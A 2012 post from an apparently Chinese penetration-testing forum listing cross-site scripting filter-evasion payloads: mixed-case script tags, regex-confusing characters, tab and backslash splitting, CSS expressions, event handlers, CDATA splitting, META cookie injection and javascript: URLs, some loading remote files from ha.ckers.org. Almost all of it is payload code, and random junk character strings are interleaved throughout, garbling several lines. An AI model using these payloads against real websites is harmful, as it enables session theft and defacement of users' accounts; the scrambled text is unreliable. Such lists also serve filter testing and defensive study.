中国网络渗透测试联盟

标题: Cross Site Scripting(XSS)攻击手法介绍 [打印本页]

作者: admin    时间: 2012-12-31 09:59
标题: Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写
2 J( A  P! l4 ~9 e4 m( @
% y( X8 D9 f5 T" q7 P2 [   V+ Y& w9 N3 ]" x
. z. ^: ^/ Y1 h2 a* u
    <sCript>alert(‘d’)</scRipT>2 a/ |2 z/ N' x" @8 }- Q  x

5 i, }2 v' Z' W2. 利用多加一些其它字符来规避Regular Expression的检查7 x, ?/ F2 v# u" w0 D) F" W

0 E6 m/ \; o0 Z4 e# B    <<script>alert(‘c’)//<</script>+ L* n# d7 o6 R! x" Q" z! Z

1 P! R3 x7 f/ B- o    <SCRIPT a=">" SRC="t.js"></SCRIPT>
& o9 N& I7 w% e' h. [- B3 a9 b% ]  B& Y8 [% T
    <SCRIPT =">" SRC="t.js"></SCRIPT>7 v: G% @* U& _8 j
& m3 @$ o( N" I; t
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
, `* O, y9 r2 C/ Z2 r- M6 D" G( g8 {; `/ A
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
: B& V2 [& E" b# A8 l7 G# V3 Z
% O6 A% r. y+ ?- s# F1 U- @    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
- J8 h4 M8 i: k0 D; @- x2 V$ b- Q! U% K7 q) f; ~5 u
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>2 `2 L9 J0 L+ N5 j% O

2 L* B4 s$ _' C3 p9 q3. 以其它扩展名取代.js
( U. |, y7 z8 p6 B5 R. L; T, y& X: K% H7 A
    <script src="bad.jpg"></script>1 g3 H/ w$ M  _( [3 m5 U6 R

; V' C1 i  L! A& ?0 i4. 将Javascript写在CSS档里
8 ?+ v% Z( V! g8 [: z- v9 |: w
( j5 i1 u2 M/ F  v/ `$ z8 }( R    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">" j( r, Q; q& x7 D) x& o. _

  ~" Z/ `' y5 M7 w) o       example:
, ~& b1 }( J% W& I. R$ [% e; W
. @$ B  \! G! s7 h% G7 k; v" K, t          body {* t' a9 L4 X1 s8 S, y9 a

5 O, ~2 v5 u* Z; |               background-image: url(‘javascript:alert("XSS");’)
" E3 B8 r3 N- Q5 m+ C4 B, k% K, a
" j1 A! {4 k* E          }9 d& Q  G' n+ O* V' y% D# a4 S. o9 h  T# s
: j7 V3 v' N7 J6 I0 v
5. 在script的tag里加入一些其它字符
; c) Z6 c  K3 a/ g8 N
, A+ L, }8 }/ j/ G    <SCRIPT/SRC="t.js"></SCRIPT>- \2 @4 V( {5 M* @) Z3 ?

0 a4 G/ e7 K' R+ k$ Z; o    <SCRIPT/anyword SRC="t.js"></SCRIPT>
3 m6 \- u' W$ W; `. L) _/ v9 F" M: R' ]
6. 使用tab或是new line来规避/ S$ I8 W! d7 c& _2 X; G
- y' A2 D3 y+ x2 X: @5 m) V
    <img src="jav ascr ipt:alert(‘XSS3′)">
: t6 o5 q/ D9 U$ o5 M( u3 D& O3 q$ B: t) t0 _: g
    <img src="jav ascr ipt:alert(‘XSS3′)">
7 D4 c- s2 d8 s" _0 W( ?2 x0 d9 q* L* y0 u$ v2 g
    <IMG SRC="jav ascript:alert(‘XSS’);">
& t. I5 Y* G  R) E
/ c3 F7 Z" V6 ?% r" \1 W         -> tag# x) w5 O; i  q- r% U

" k5 w: U$ A) w& A9 G         -> new line
# l; Q# |& ?6 _  z% t1 J) r9 }) @0 {( f" d7 i; P
7. 使用"\"来规避
  F1 u0 ]; U+ z" a5 d7 f% [5 h5 j6 p) R' a$ v
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
$ P" ~3 h6 G3 F' d5 b; _7 ]
% z% @/ M0 J/ D& {  E1 B    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
8 u0 K/ _6 W3 m1 w0 R$ {5 X% b9 w; ~/ M2 ^8 H
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
! |1 O- F. [* x* |% e7 a* D
. w' J+ S* D: {    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">+ `) K1 @% f" Z3 u6 u
- I+ Q9 F% b2 o0 k6 r7 `$ k( e3 O( [
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
/ S! y8 S/ ^9 ?$ s0 c* Z, W& T& M% d0 ^
8. 使用Hex encode来规避(也可能会把";"拿掉)6 D, [" N8 T! ~+ p

# m! R( B( F& J4 y! p- d- \* w* y' e    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
% I. ^% v5 w8 i
3 X' c1 y$ i* g2 _1 g        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">0 l5 c6 C, |; r# V( I6 c3 T  \. ^! V

# Q) y6 t+ K& J* s: h    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">" u( _0 |3 _! s' }! J3 ^6 o
, V' t/ j& Q# Z% l% b  U, O. t
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">2 d$ I  z0 w4 {2 T' W2 R

# j4 f% @. g( Z+ E& R( l9. script in HTML tag8 F& E  G6 ?% C* U3 Q
2 f) Z& g2 ~7 f  f. ^
    <body onload=」alert(‘onload’)」>
' b5 a& s* m5 W1 d
2 g7 \# }1 F2 G. V2 d4 Y# e        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload, Y9 m7 B( T* A( t2 K
, I% r4 h1 {$ P8 i1 M% G# h) ?0 d
10. 在swf里含有xss的code
6 ~8 G) l& ^2 l/ ]! \/ g% I4 P5 b/ M( K7 c9 l# f$ L/ \
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>* _6 y: b) L3 Q* a  D' w3 s6 k
0 {, e6 P1 ?$ _9 Y0 }! u
11. 利用CDATA将xss的code拆开,再组合起来。$ X3 d# l8 P5 K2 i/ K4 B

: ~  G+ q. k1 x& n* D    <XML ID=I><X><C>
8 F- k! R4 `6 R, ?& n( r1 u3 [7 d& [& E& p" `- Z
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
6 Y( P% D- I, x, G0 e9 Y
+ h  H1 a% {' H" r, _8 W    </C></X>( i) V: }& w/ e2 S
' K0 m; G, D2 T7 M8 j, }
    </xml>
& b/ i, O# X4 t1 j- g7 S6 N& k! V) Y' M( r: d
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>0 |, {/ B1 @) \8 \

7 F& r5 r' Y7 s& j! v    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
. F/ o; J  y& L2 r! n
8 d7 _4 F" M7 Y1 L) T8 `' _" |) i    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
. e# H! q) o- `; x1 q, k9 o  f$ }( k1 Q, w3 x: F
12. 利用HTML+TIME。
& ]3 K$ f! s+ p- b( I( T  G- f5 }1 L9 _1 ^/ y5 ^/ w0 w, g9 l
    <HTML><BODY>
$ @1 o6 ?, z/ `$ `, k
8 U/ s# O1 U0 ?! G& s0 j! n    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
* S6 a4 w% a  r+ r' e9 G
/ ]' q" K* N; h8 t: ]    <?import namespace="t" implementation="#default#time2">
7 X" y( G6 k2 \/ h5 u. i) H0 T3 U
) R6 {4 ^- Z8 x' I* V; C    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">. L( g2 t3 e( v5 ]; Y5 S6 O8 F$ v

& H# C; y4 D; x9 Z+ ?( p    </BODY></HTML>
  h! K6 W. ]1 e8 S3 {. H# w8 j1 ?( c$ x+ }8 p) L
13. 透过META写入Cookie。- ]6 B2 }4 ?9 U+ {7 E$ q) G
" s! ]2 L7 c' f: T
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>"># D+ Z$ M# h' s9 O

- m2 E! m5 a4 k2 {7 X14. javascript in src , href , url; F" P, G% E2 P( ]

6 ~, n5 B: K0 D2 p# p3 F$ U. J    <IFRAME SRC=javascript:alert(’13′)></IFRAME>, @' g0 W6 a7 j+ D# r2 P0 c" q1 Y" F
: U, @' x7 v5 {1 B: q* P
    <img src="javascript:alert(‘XSS3′)">" M$ t9 W$ ]1 `. g9 P; |! D

0 v1 z. p+ ]9 o8 {& y( i<IMG DYNSRC="javascript:alert(‘XSS20′)">
/ z/ T' @, j) l. D, y3 a0 ~: j. f& T$ q3 p
    <IMG LOWSRC="javascript:alert(‘XSS21′)">- y" u, N' n6 X# Q3 h

' K, W: D, J1 j9 [    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
/ f) H# h, v- m& I% q5 F/ C" ]- f2 m1 u6 N! o+ _5 ?
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
  q! M, e( ~1 w, Y$ r* x1 b! \( ]! ]  V
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
* X. x, E" u; P' Y7 M: V& k# s+ p8 U% F
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
, s7 Q2 [* n* e/ |6 x
6 h+ m- q8 U6 W: j! s2 m    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}7 m% p" Q+ L4 J) U, i
+ L( e* W' O1 Y( |+ h
    </STYLE><A CLASS=XSS></A>: D1 O! a6 Q2 E# }; ]
$ U+ v7 a5 I. b( J
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>: R3 i5 @6 n. p$ V$ P. ]# i2 w

) S7 E% S, o9 w# q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2